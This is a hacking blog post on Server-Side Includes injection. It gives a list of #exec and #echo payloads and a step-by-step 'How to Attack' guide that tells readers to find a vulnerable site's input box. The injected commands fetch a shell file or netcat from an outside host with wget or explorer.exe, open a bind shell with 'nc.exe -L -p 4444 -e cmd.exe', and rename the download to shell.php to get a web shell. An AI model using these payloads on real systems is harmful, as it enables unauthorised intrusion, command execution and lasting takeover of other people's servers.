Skip to main content

SSI Injection Attack

SSIs are directives present on Web applications used to feed an HTML page with dynamic contents. They are similar to CGIs, except that SSIs are used to execute some actions before the current page is loaded or while the page is being visualized. In order to do so, the web server analyzes SSI before supplying the page to the user. The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields. It is possible to check if the application is properly validating input fields data by inserting characters that are used in SSI directives, like:
 Code: < ! # = / . " - > and [a-zA-Z0-9]

Another way to discover if the application is vulnerable is to verify the presence of pages with extension .stm, .shtm and .shtml. However, the lack of these type of pages does not mean that the application is protected against SSI attacks. In any case, the attack will be successful only if the web server permits SSI execution without proper validation. This can lead to access and manipulation of file system and process under the permission of the web server process owner. The attacker can access sensitive information, such as password files, and execute shell commands. The SSI directives are injected in input fields and they are sent to the web server. The web server parses and executes the directives before supplying the page. Then, the attack result will be viewable the next time that the page is loaded for the user's browser.


Code to Use in SSI Injection Attacks
<!--#exec cmd="/bin/ls /" -->
< !--#exec cmd="dir" -->
< !--#exec cmd="cd C:\WINDOWS\System32">
<!--#config errmsg="File not found, informs users and password"-->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#fsize file="ssi.shtml" --> <!--#include file=”UUUUUUUU...UU”-->
<!--#echo var="DATE_LOCAL" --> <!--#exec cmd="whoami"-->

How to Attack via SSI Injection Attack
Step 1. Find Some Vulnerable site, Go to Their "INPUT" Box. And Type Below Command :- For Linux OS Server, Copy paste any one of the below Command =>
Code: < !--#exec cmd="ls" -->
 <!--#echo var="DATE_LOCAL" -->
 <!--#exec cmd="whoami"-->
 For Windows OS Server => Code:
 < !--#exec cmd="dir" -->
 if it List the Directory..

Step 2. Now Type Below Command If Step 1. is Successful. For Linux OS => Code:
<!--#exec cmd="wget http://website.com/dir/shell.txt"-->
For Windows OS, Wget may/may not Work, thus we need to Upload some file or application that will serve our need, for that, we can either upload "Wget.exe" Application or Our Wonderful "Swiss Army Knife netcat", Even this is not Full proof that it will always Download automatically, as Sometime Application may ask for confirmation to Download. Code:
<!--#exec cmd="start explorer.exe http://website.com/wget.exe" -->
<!--#exec cmd="start explorer.exe http://website.com/nc.exe" -->
After Above Successful Download Follow Shell.txt Command if Wget.exe Code:
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
 if nc.exe Code:
<!--#exec cmd="nc.exe -L -p 4444 -e cmd.exe" -->

Step3. Once Netcat done, Go and Connect to Port 4444 via your telnet or Netcat or SSH, whatever you prefer..
Once Shell Uploaded, Follow Below Command.
For Linux OS => Code:
 <!--#exec cmd="mv shell.txt shell.php" -->
 For Windows OS => Code:
 <!--#exec cmd="move shell.txt shell.php" -->
Now Go to your 'target URL '+shell.php and you See Your Shell ;-)


Comments

Post a Comment

Popular posts from this blog

Hacking Windows 10 UWP App: DLL Injection & common Vulnerabilities

I recently started working on  widows 10 Apps( Apps not Applications) security. Before diving deep in hacking terms lets try to understand what's new in Windows 10 UWP( Universal Platform) as compared to old Apps. Lets begin with how apps actually work on windows 10(desktop/tablet). Now windows 10 comes with a container only for running apps inside the isolated environment. By default, /APPCONTAINER(Linker Flag) is off. This option modifies an executable to indicate whether the app must be run in the appcontainer process-isolation environment. Specify /APPCONTAINER for an app that must run in the appcontainer environment—for example, a Windows Store app. (The option is set automatically in Visual Studio when you create a Windows Store app from a template.) For a desktop app, specify /APPCONTAINER:NO or just omit the option. The /APPCONTAINER option was introduced in Windows 8. Now there is no registry entry concept for these app in the System HIVE rather they install they own hiv

Installing vmware-11.0 on Ubuntu 15.04 Using kernel Patch

curl http://pastie.org/pastes/9934018/download -o /tmp/vmnet-3.19.patch cd /usr/lib/vmware/modules/source tar -xf vmnet.tar patch -p0 -i /tmp/vmnet-3.19.patch tar -cf vmnet.tar vmnet-only rm -r *-only vmware-modconfig --console --install-all References: http://askubuntu.com/questions/605530/vmware-player-7-1-0-on-ubuntu-15-04-kernel-3-19-0-10-generic-app-loading http://askubuntu.com/questions/617704/failed-to-build-vmnet-for-kernel-3-19